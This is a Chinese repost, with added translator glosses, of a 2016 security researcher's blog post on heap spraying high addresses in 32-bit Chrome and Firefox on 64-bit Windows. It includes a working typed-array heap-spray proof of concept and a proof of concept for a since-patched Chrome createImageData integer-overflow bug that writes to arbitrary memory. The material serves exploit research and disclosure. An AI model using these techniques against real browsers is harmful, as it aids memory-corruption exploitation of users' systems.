转:Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows

时间:2022-12-03 12:21:18

转:https://blog.skylined.nl/20160622001.html,June 22nd, 2016

In my previous blog post I wrote about magic values that were originally chosen to help mitigate exploitation of memory corruption flaws and how this mitigation could potentially be bypassed on 64-bit Operating Systems, specifically Windows. In this blog post, I will explain how to create a heap spray (of sorts) that can be used to allocate memory in the relevant address space range and fill it with arbitrary data for use in exploiting a vulnerability that involves referencing a magic value pointer.The relevant address space range in most cases is between 0x­C0000000 and 0x­F0000000, so the Proof-of-Concept code will attempt to allocate memory at the address 0x­DEADBEEF and store the DWORD value 0x­BADC0DED at this address.在0x­DEADBEEF。地址存储0x­BADC0DED

  • Using typed arrays for heap sprays

Most browser heap sprays are based on the code I developed for an exploit in 2004. For reasons I won't get into here, this heap spray repeatedly concatenated a string to itself to exponentially grow the size of this string. A number of copies were than made of this string in order to fill the desired amount of memory.Since 2004, a lot has changed and a lot of features have been added to modern browsers that can be used to spray the heap faster, easier and with better control over its content. One such feature is typed arrays. As explained on the MDN page, these are similar to "normal" Javascript arrays, except that they are never sparse(不稀疏). Data stored in typed arrays is stored in an Array­Buffer, which is backed up by one consecutive block of memory in which the values are stored. By creating a typed array, one can therefore allocate one consecutive block of memory of a controlled size(可以申请一块可控大小的连续内存空间,同时内容可控), and the contents of the memory can be controlled by setting array elements to specific values.

  ArrayBuffer和C语言内存分配一样,分配一块内存块,相当于C语言中的malloc();光有内存块,而不进行操作也是没有用的,javascript通过视图的方式对内存块进行读写,存在两种视图:

  1. TypedArray: 特定类型的数据类型,特定类型的一种视图,对特定类型操作性能更高;
  2. DataView: 各种数据类型都可以,还可以指定大端序(BIG_ENDIAN),小端序(LITTLE_ENDIAN),功能更强大的一种视图
  • Spraying the heap in the right place

Heap blocks are normally allocated at the lowest possible address. If you allocate two blocks on an empty, unused heap, these blocks should normally be sequential: (连续分配)the second block will get allocated immediately after the first in memory and therefore be located at a higher address. After the heap has been used for some time and blocks have been freed, the heap can become fragmented. This means that there are unused (freed) areas in between the areas that are still in use. When you allocate a new block from the heap, one of these freed areas can be reallocated, so two sequential allocations may no longer end up next to each other and the second allocation may end up before the first. (heap feng shui can be used to get around this in some cases, but I digress).Fortunately, these gaps (间隙很小)in the heap tend to be a lot smaller than the large blocks used in a heap spray, so fragmentation can be ignore in this case: when asked to allocate a very large block of memory, it will almost certainly get allocated after everything else already allocated on the heap.Because 32-bit applications have all their modules (dll基地址靠近0) loaded at addresses close to, but below 0x80000000, there is only so much space available for a large allocation immediately after the heap and before these modules. If you attempt to allocate a block that is larger than the gap(申请的块大于堆和动态库之间的间隙时) between the heap and the modules, there is no place this allocation can go but after the modules.So, by allocating sufficiently large memory blocks(申请足够多的大块内存后,可以保证内存块地址位于0x80000000), we can all but guarantee that these blocks will be allocated at addresses above 0x80000000. And since there is nothing there to fragment their allocation, they should end up sequential, allowing us to reliably allocate memory in the region around 0x­DEADBEEF.

  • The Proof-of-Concept

Unlike Firefox, Chrome has an artificial limit (人为限制)on the number of bytes you can allocate through a typed array. This means that on Firefox, you can simply allocate one large block (firefox没有typearray的大小限制,只需要分配大块填充内存)that starts at 0x80000000 and contains all memory up to and including 0x­DEADBEEF. On Chrome, you will need to allocate two blocks, one to fill the lower part of memory and one that contains the target address. After allocating the(se) block(s), setting the value at address 0x­DEADBEEF to to 0x­BADC0DED is as simple as setting a few values in the array at the right index. Because the base address of the memory block depends on the allocator used by the browser(内存块基地址依赖于浏览器分配器), it is deterministic(确定,数组索引可以猜测) and the right index can be guessed with very high reliability. The code below shows how this is done. After loading this web-page you can inspect the memory at 0x­DEADBEEF (in Chrome make sure you have the render process) to make sure it contains the value 0x­BADC0DED.(在win7-64,chrome 61_32版本可以复现)

 <html>

 <head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<script>
var uTargetAddress = 0xDEADBEEF; // The address to allocated
var uValue = 0xBADC0DED; // The value to store at this address.
var uArrayBase = window.chrome ? 0x80004000 : 0x80000000;
var uArraySeparation = window.chrome ? 0x200000 : 0x0;
var uMaxArraySize = window.chrome ? 0x30000000 : 0x80000000;
var aauHeap = [];
while (uArrayBase + uMaxArraySize <= uTargetAddress) {
console.log("Allocating 0x" + uMaxArraySize.toString(16) + " bytes at 0x" + uArrayBase.toString(16));
aauHeap.push(auHeap = new Uint8Array(uMaxArraySize));
uArrayBase += uMaxArraySize + uArraySeparation;
};
var uArraySize = uTargetAddress-uArrayBase + 4,
auHeap = new Uint8Array(uArraySize);
console.log("Allocating 0x" + uArraySize.toString(16) + " bytes at 0x" + uArrayBase.toString(16));
for (var uOffset = 0; uOffset < 4; uOffset++) {
var uByteIndex = uTargetAddress-uArrayBase + uOffset,
uByteValue = (uValue >> (uOffset * 8)) & 0xFF;
auHeap[uByteIndex] = uByteValue;
console.log("[0x" + uArrayBase.toString(16) + " + 0x" + uByteIndex.toString(16) + "] = " + uByteValue.toString(16));
};
// All done: break into the application using your favorite debugger
// and see whether [0xDEADBEEF] realy is 0xBADC0DED. In WinDbg, this may help:
alert("!address 0xDEADBEEF;dd 0xDEADBEEF");
</script>
</head> </html>

At the end of 2013 I found signedness errors and integer overflows (有符号错误和整数溢出,可以任意读写内存)in Google Chrome that allowed reading and writing of arbitrary memory when Chrome is running on a 64-bit version of Windows. This issue was patched in early 2014, and I was going to release the details a that time, but there was a small slipup and the Chrome team forgot to actually apply the patch to the new build. So, I had to wait a bit longer for it the next release and subsequently completely forgot to release these details. But that does allow me to bring it up now and describe how that bug was triggered and how I wrote a Proof-of-Concept for the issue.

  • Repro

When using the create­Image­Data of a canvas element to create a very large Image­Data object on x64 bit versions of Windows, the memory used for this object can get allocated at address 0x7FFF0000. This causes the mayority of the object's memory to be located at addresses above 0x7FFFFFFF. This allows exploitation of signedness errors/integer overflows in the code that handles reading and writing of pixel data, effectively allowing a script to read and write memory in the mayority of the process' adddress space.

<!doctype html>
<html>
<head>
<script>
window.onload = function() {
var oCanvas = document.createElement("canvas");
var oContext2d = oCanvas.getContext("2d");
this.oImageData = oContext2d.createImageData(0x17001337,1);
function addressToIndex(iAddress) {
return iAddress + (iAddress < 0x7fff0000 ? +0x80010000 : 0x7fff0000);
}
this.oImageData.data[addressToIndex(0xDEADBEEF)] = 0x41;
};
</script>
</head>
</html>

待续...

转:Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows的更多相关文章

  1. 无光驱在32位windows系统下安装64位windows系统

    位的系统. 大家都知道,32位的操作系统最多只能支持3.2G的内存,现在内存白菜价,很多人都在原有基础上购入新内存,这样最少也有4G了,为了让内存不浪费,我 们只有升级到64位操作系统.但是很多朋友又 ...

  2. 关于32位windows和64位windows

    SysWow64文件夹,是64位Windows,用来存放32位Windows系统文件的地方,而System32文件夹,是用来存放64位程序文件的地方. 当32位程序加载System32文件夹中的dll ...

  3. 4 bytes &lpar;32 bits&rpar; or 8 bytes &lpar;64 bits&rpar;

    Computer Systems A Programmer's Perspective Second Edition BusesRunning throughout the system is a c ...

  4. 64地点 Windows 8&sol;7 根据系统 32地点PLSQL 耦合 64 地点 Oracle 11g

    64地点 Windows 8/7 根据系统 32地点PL/SQL 耦合 64 地点 Oracle 11g     说明:安装后Oracle的 oci.dll 是64位的,而32位应用程序 PL/SQL ...

  5. 使 IIS 6&period;0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序。

    原文 使 IIS 6.0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序. win7 64位操作系统上边运行IIS网站应用的时候,提示错误"试图加载格式 ...

  6. win10下安装MinGW-w64 - for 32 and 64 bit Windows

    对于不经常使用c语言的同学来说,只需要安装MinGW-w64 - for 32 and 64 bit Windows,就可以使用GCC在命令行对c源码进行编译. 首先打开命令行检查自己是否已经安装了g ...

  7. Oracle 11g R2 32位 &amp&semi; Oracle 11g R2 64位 -百度云下载

    Oracle 11g R2 32位 & Oracle 11g R2 64位 -百度云下载 https://pan.baidu.com/s/1fuzy67Olfxzsy3WJMCrCnQ 提取码 ...

  8. 让 Oracle 11g 32位运作在64位 Windows 上

    并非不能运行. 本人安装版未曾尝试,但绿色版倒是运行成功了. 很简单:注册表的位置发生了变化而已! 默认(32位.64位),oracle会读取以下注册表的位置:      [HKEY_LOCAL_MA ...

  9. 【扫盲】】32位和64位Windows的区别

    用户购买windows安装盘或者重新安装操作系统的时候,通常会遇到这个问题,就是不知道该如何选择使用32位操作系统和64位操作系统,有人说64位系统速度快,其实理论上确实是这样,不过具体还要根据你的个 ...

随机推荐

  1. &lbrack;HDOJ1698&rsqb;Just a Hook(线段树,区间更新)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1698 陈题,更新后查询所有叶节点的和.撸一遍模版,形成自己的风格. #include <algo ...

  2. zoj 2095 Divisor Summation

    和 hdu 1215 一个意思// 只是我 1坑了 1 时应该为0 #include <iostream> #include <math.h> #include <map ...

  3. Guid 的几种形式

    Guid.NewGuid().ToString()得几种格式显示 1.Guid.NewGuid().ToString("N") 结果为:       38bddf48f43c485 ...

  4. &period;Net设计模式&lowbar;工厂模式&lpar;3&rpar;

    3.抽象工厂模式 引言: 我们知道汽车需要很多部件才能组装成一辆成品的车,那么我们需要汽车厂生产很多东西,如:马达.车轴.轮胎等,这些东西组装起来后成为了一辆车. 这些东西就是产品族,图解:(出之ht ...

  5. LUA 捕获模式 URL编码的例子解析

    function escape(s) s=string.gsub(s,"([&=+%c])",function(c) return string.format(" ...

  6. Win7安装IIS

    非常明显的,我们做系统是用来给人用的,所以这就涉及到对系统的公布问题.仅仅有公布之后.别人才干通过訪问你的IP和port号来訪问你的程序. 而系统公布一般都是在IIS上面进行系统公布,所以我们就必需要 ...

  7. 队列&lpar;存储结构数组&rpar;--Java实现

    /*队列:其实也是一种操作受限的线性表 *特点:先进先出 *队尾指针:负责元素的进队 *队头指针:负责元素的出队 *注意:普通队--容易浪费空间,一般队列使用最多的就是循环队列--指针环绕 *队列的实 ...

  8. 16&period;git命令汇总

  9. tp5&period;1入口文件隐藏

    修改.htaccess文件 <IfModule mod_rewrite.c> Options +FollowSymlinks -Multiviews RewriteEngine On Re ...

  10. Mapped Statements collection does not contain value for com&period;xxxx&period;dao&period;impl&period;AreaDAOImpl&period;findByCode

    org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.exceptions.Persiste ...